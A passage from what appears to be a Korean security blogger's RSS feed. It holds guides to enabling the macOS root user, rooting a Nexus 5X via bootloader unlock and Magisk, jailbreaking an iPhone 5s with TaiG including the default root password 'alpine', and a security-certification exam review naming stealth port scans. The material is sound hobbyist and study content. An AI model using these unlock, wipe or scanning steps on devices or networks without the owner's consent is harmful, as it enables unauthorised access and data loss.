src=&quot;https://t1.daumcdn.net/cfile/tistory/99D5384C5AE74EB40C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D5384C5AE74EB40C&quot; width=&quot;668&quot; height=&quot;487&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;keyboard&gt;디렉토리 유틸리티 열기...&lt;/keyboard&gt; 선택&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 668px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991A814C5AE74ED43D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991A814C5AE74ED43D&quot; width=&quot;668&quot; height=&quot;487&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;디렉토리 유틸리티&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 590px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CC56445AE74F1D32&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CC56445AE74F1D32&quot; width=&quot;590&quot; height=&quot;442&quot; filename=&quot;004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;편집 &amp;gt; Root 사용자 활성화&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 211px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AAA04F5AE752231D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AAA04F5AE752231D&quot; width=&quot;211&quot; height=&quot;264&quot; filename=&quot;005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;2. 터미널 이용&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Root 사용자 활성화&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; dsenableroot&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9982134F5AE752E401&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9982134F5AE752E401&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Root 사용자 비활성화&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; dsenableroot -d&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CCB1485AE7530C01&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CCB1485AE7530C01&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sudo 명령어 이용&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo -s&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C55C495AE7531801&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C55C495AE7531801&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/324</guid>
      <comments>https://do9dark.tistory.com/324#entry324comment</comments>
      <pubDate>Tue, 1 May 2018 02:10:11 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] 시스템 복구 기능</title>
      <link>https://do9dark.tistory.com/278</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- 로컬 복구 시스템&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;복구 하기 전에 사용한 가장 최근 운영체제 버전이 설치됨.&lt;/p&gt;&lt;p&gt;인터넷 복구 시스템에 비해 속도가 빠름.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;접근방법:&lt;/p&gt;&lt;p&gt;1. 맥 시동 후 &lt;keyboard&gt;option&lt;/keyboard&gt; 키를 누르면 부팅 파티션을 선택할 수 있고, Recovery HD(복구 파티션)을 선택하면 로컬 복구 시스템이 시작됨.&lt;/p&gt;&lt;p&gt;2. 맥 시동 후 &lt;keyboard&gt;command&lt;/keyboard&gt;+&lt;keyboard&gt;R&lt;/keyboard&gt; 키를 누르면 로컬 복구 시스템이 시작됨.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- 인터넷 복구 시스템&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;맥의 연식에 따라 최초 설치된 운영체제 버전이 설치됨.&lt;/p&gt;&lt;p&gt;로컬 복구 시스템에 비해 속도는 느리나 로컬 복구 시스템이 손상되어 사용할 수 없을 때 주로 이용함.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;접근방법:&lt;/p&gt;&lt;p&gt;1. 맥 시동 후 &lt;keyboard&gt;command&lt;/keyboard&gt;+&lt;keyboard&gt;option&lt;/keyboard&gt;+&lt;keyboard&gt;R&lt;/keyboard&gt; 키를 누르면 인터넷 복구 시스템이 시작됨.&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/278</guid>
      <comments>https://do9dark.tistory.com/278#entry278comment</comments>
      <pubDate>Tue, 1 May 2018 01:01:56 +0900</pubDate>
    </item>
    <item>
      <title>Nexus 5X(Android 8.1.0) 루팅</title>
      <link>https://do9dark.tistory.com/323</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1. platform-tools 다운로드(&lt;a href=&quot;https://developer.android.com/studio/releases/platform-tools&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://developer.android.com/studio/releases/platform-tools&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 다운로드 받은 압축 파일을 푼 다음, CMD 창에서 접근하기 쉽게 하기 위해 시스템 경로에 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 설정 &amp;gt; 시스템 &amp;gt; 휴대전화 정보 &amp;gt; 빌드 번호 7번 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 설정 &amp;gt; 시스템 &amp;gt; 개발자 옵션 활성화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 개발자 옵션 USB 디버깅 활성화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 넥서스 디바이스를 USB로 컴퓨터에 연결&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. adb devices 명령어를 통해 연결 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; adb devices&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. OTA 이미지 다운로드(&lt;a href=&quot;https://developers.google.com/android/ota?hl=ko#bullhead&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://developers.google.com/android/ota?hl=ko#bullhead&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 8.1.0 (OPM7.181205.001, 2018년 12월)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. bootloader mode 부팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; adb reboot bootloader&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 또는 기기를 끄고 전원 버튼 + 불륨 다운 버튼을 눌러서 부트로더 모드로 진입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10. fastboot devices 명령어를 통해 연결 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot devices&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10-1. 부트로더 모드 화면에서 DEVICE STATE - unlocked가 아닌 경우 bootloader unlock 진행(이미 언락을 한 경우 생략, 부트로더 언락 시 기기의 모든 데이터 삭제됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot flashing unlock&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot oem unlock&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11. system.new.dat.br 파일과 vendor.new.dat.br 압축을 해제하기 위해 Brotli 다운로드(&lt;a href=&quot;https://github.com/google/brotli&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/google/brotli&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; brotli.exe --decompress --output=system.new.dat system.new.dat.br&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; brotli.exe --decompress --output=vendor.new.dat vendor.new.dat.br&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12. 압축 해제 후 sdat2img.py 파이썬 코드(&lt;a href=&quot;https://github.com/xpirt/sdat2img/blob/master/sdat2img.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/xpirt/sdat2img/blob/master/sdat2img.py&lt;/a&gt;)를 이용하여 img 파일로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; python sdat2img.py system.transfer.list system.new.dat system.img&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; python sdat2img.py vendor.transfer.list vendor.new.dat vendor.img&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13. OTA 이미지를 이용하여 플래싱&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot flash boot boot.img&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot flash radio radio.img&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot flash vendor vendor.img&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot flash system system.img&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14. Cache, userdata 초기화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot erase cache&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot erase userdata&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15. 기기 재부팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot reboot&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-1. 정상적으로 재부팅되지 않거나 무한로딩 현상이 발생하는 경우 twrp.img 파일(&lt;a href=&quot;https://dl.twrp.me/bullhead/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dl.twrp.me/bullhead/&lt;/a&gt;)을 다운로드 받아 TWRP를 설치해서 초기화 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot flash recovery twrp-3.7.0_9-0-bullhead.img&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;gt; fastboot reboot recovery&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 리커버리 모드로 진입되지 않는 경우 전원 버튼 + 볼륨 다운&amp;nbsp;버튼을 눌러서 부트로더 모드로 진입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 부트로더 모드에서 리커버리 모드로 변경하여 직접 접근&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-2. Wipe 메뉴에서 Format Data를 선택하여 yes 입력 후 포맷&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-3. Wipe 메뉴에서 Advanced Wipe를 선택하여 Data 선택 후 Repair or Change File System 선택&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-4. Change File System 선택 후 파일 시스템을 ext4로 변경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-5. Wipe 메뉴에서 Advanced Wipe를 선택하여 Dalvik / ART Cache, Data, Cache를 초기화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-6. 연결된 컴퓨터에서 Internal Storage 폴더에 Magisk-v28.1.zip 파일(&lt;a href=&quot;https://magisk.zip/#download&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://magisk.zip/#download&lt;/a&gt;) 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-7. Install 메뉴에서 추가한 Magisk-v28.1.zip 선택 후 Swipe to confirm Flash 진행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15-8. Reboot System을 선택하여 기기 재부팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16. 안녕하세요 메시지와 함께 초기화된 상태로 정상적으로 부팅되는 것을 확인&lt;/p&gt;</description>
      <category>Mobile/Android</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/323</guid>
      <comments>https://do9dark.tistory.com/323#entry323comment</comments>
      <pubDate>Mon, 2 Apr 2018 01:49:00 +0900</pubDate>
    </item>
    <item>
      <title>iOS 8.4(iPhone 5s) 탈옥에서 순정으로 초기화</title>
      <link>https://do9dark.tistory.com/321</link>
      <description>&lt;p&gt;1. &lt;b&gt;Cydia Eraser&lt;/b&gt; 설치&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. &lt;b&gt;Touch ID 및 암호&lt;/b&gt; 모두 해제&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. &lt;b&gt;나의 iPhone 찾기&lt;/b&gt; 끄기&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. iCloud 및 iTunes 로그아웃&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. 배터리 확인(주의: 실행 도중에 종료되지 않도록 충분하게 충전)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. &lt;b&gt;Cydia Eraser&lt;/b&gt; 실행&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. 하단에 &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;b&gt;erase all data, unjailbreak device&lt;/b&gt;&lt;/span&gt; 선택&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. 기다리기&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;8. &lt;b&gt;안녕하세요&lt;/b&gt;, &lt;b&gt;Hello&lt;/b&gt;와 같이 초기 설정화면이 표시되면 순정 상태로 초기화 완료&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;9. 설정 후 &lt;b&gt;일반 &amp;gt; 정보 &amp;gt; 버전&lt;/b&gt; 확인 시 &lt;b&gt;8.4&lt;/b&gt; 유지된 상태로 순정으로 초기화됨을 확인&lt;/p&gt;</description>
      <category>Mobile/iOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/321</guid>
      <comments>https://do9dark.tistory.com/321#entry321comment</comments>
      <pubDate>Thu, 22 Mar 2018 00:45:01 +0900</pubDate>
    </item>
    <item>
      <title>iOS 8.4(iPhone 5s) 탈옥</title>
      <link>https://do9dark.tistory.com/320</link>
      <description>&lt;p&gt;1. &lt;b&gt;Touch ID 및 암호&lt;/b&gt; 모두 해제&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. &lt;b&gt;나의 iPhone 찾기&lt;/b&gt; 끄기&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. PC에 &lt;b&gt;iTunes 12.0.1.26&lt;/b&gt; 버전 설치&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. &lt;b&gt;TaiG Jailbreak Tool V2.4.5 - for Win&lt;/b&gt;(&lt;a href=&quot;http://www.taig.com/en/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://www.taig.com/en/&lt;/a&gt;) 다운로드&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. PC에 아이폰 연결 후 다운 받은&amp;nbsp;&lt;b&gt;TaiGJBreak_EN_v245_5266.exe&lt;/b&gt; 실행&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. &lt;b&gt;3K Assistant&lt;/b&gt; 체크 해제&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 580px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EA82415AB28BDF04&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EA82415AB28BDF04&quot; width=&quot;580&quot; height=&quot;420&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. &lt;b&gt;Start&lt;/b&gt; 선택 후 기다리기&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 580px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9995DF4C5AB28EC832&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9995DF4C5AB28EC832&quot; width=&quot;580&quot; height=&quot;420&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;9. 완료되고 생성된&amp;nbsp;&lt;b&gt;Cydia&lt;/b&gt;&amp;nbsp;실행&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;10. &lt;b&gt;파일시스템 준비 중 (완료 시 Cydia가 종료됩니다)&lt;/b&gt;&amp;nbsp;메시지를&amp;nbsp;볼 수 있고 완료된 후 재부팅될 때까지 기다리기&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;11. Cydia &amp;gt; 검색 &amp;gt; &lt;b&gt;iOS Terminal&lt;/b&gt; 설치&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;12. &lt;b&gt;Terminal&lt;/b&gt; 실행 후 권한 확인(Password : alpine)&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 640px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992FC1485AB2955735&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992FC1485AB2955735&quot; width=&quot;640&quot; height=&quot;160&quot; filename=&quot;003.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Mobile/iOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/320</guid>
      <comments>https://do9dark.tistory.com/320#entry320comment</comments>
      <pubDate>Thu, 22 Mar 2018 00:43:59 +0900</pubDate>
    </item>
    <item>
      <title>제10회 정보보안기사 실기(후기)</title>
      <link>https://do9dark.tistory.com/317</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;제10회 정보보안기사 실기&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;난이도 : ☆☆☆★★&lt;/p&gt;&lt;p&gt;총평 : 전체적인 난이도는 9회에 비해 쉬운 편이나 넓은 범위로 출제되어 전반적인 이해가 없으면&amp;nbsp;어려운 부분이 다소 있으며, 정보보안 법규와 일반/관리 부분을 명확하게 봐둘 필요가 있음.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;[단답형]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;1. TCP 포트가 닫혀 있을 때 응답이 오는 스텔스 스캔 3가지를 쓰시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;b&gt;TCP NULL Scan, TCP FIN Scan, TCP XMAS&amp;nbsp;Scan&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. FTP 동작 방식에 대하여 아래 빈칸을 채우시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;FTP는 ( A ) 모드와 수동(Passive) 모드가 있다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;( A )는 통신 제어를 위한 ( B ) 포트와 데이터 전송을 위한 ( C ) 포트를 사용한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;수동 모드에서는 데이터 전송을 위해 서버에서 ( D ) 포트 이상을 사용한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;A : &lt;b&gt;능동(Active)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;B : &lt;b&gt;21/tcp&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;C : &lt;b&gt;20/tcp&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;D : &lt;b&gt;1024/tcp&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. 오픈 소스 도구인 PacketFense와 같이 네트워크 통제, 단말기 통제&amp;nbsp;등을 수행하는 보안 솔루션은?&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;b&gt;NAC(Network Access Control)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. VLAN의 목적에 대하여 아래 빈칸을 채우시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;VLAN은 네트워크 자원 사용을 제한함으로써&amp;nbsp;( A )를 높이고, 이용하는 도메인의 ( B )를 제한하여 네트워크 서비스의 ( C )를 향상시킨다.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;A : &lt;b&gt;보안&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;B : &lt;b&gt;크기/범위/영역&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;C : &lt;b&gt;성능&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. 위험처리방법에는 위험감소, 위험수용, 위험회피, 위험( A )가 있다. ( A )는 보험이나 외주가 있다. A는 무엇인가?&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;A : &lt;b&gt;전가/이전(Transfer)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br 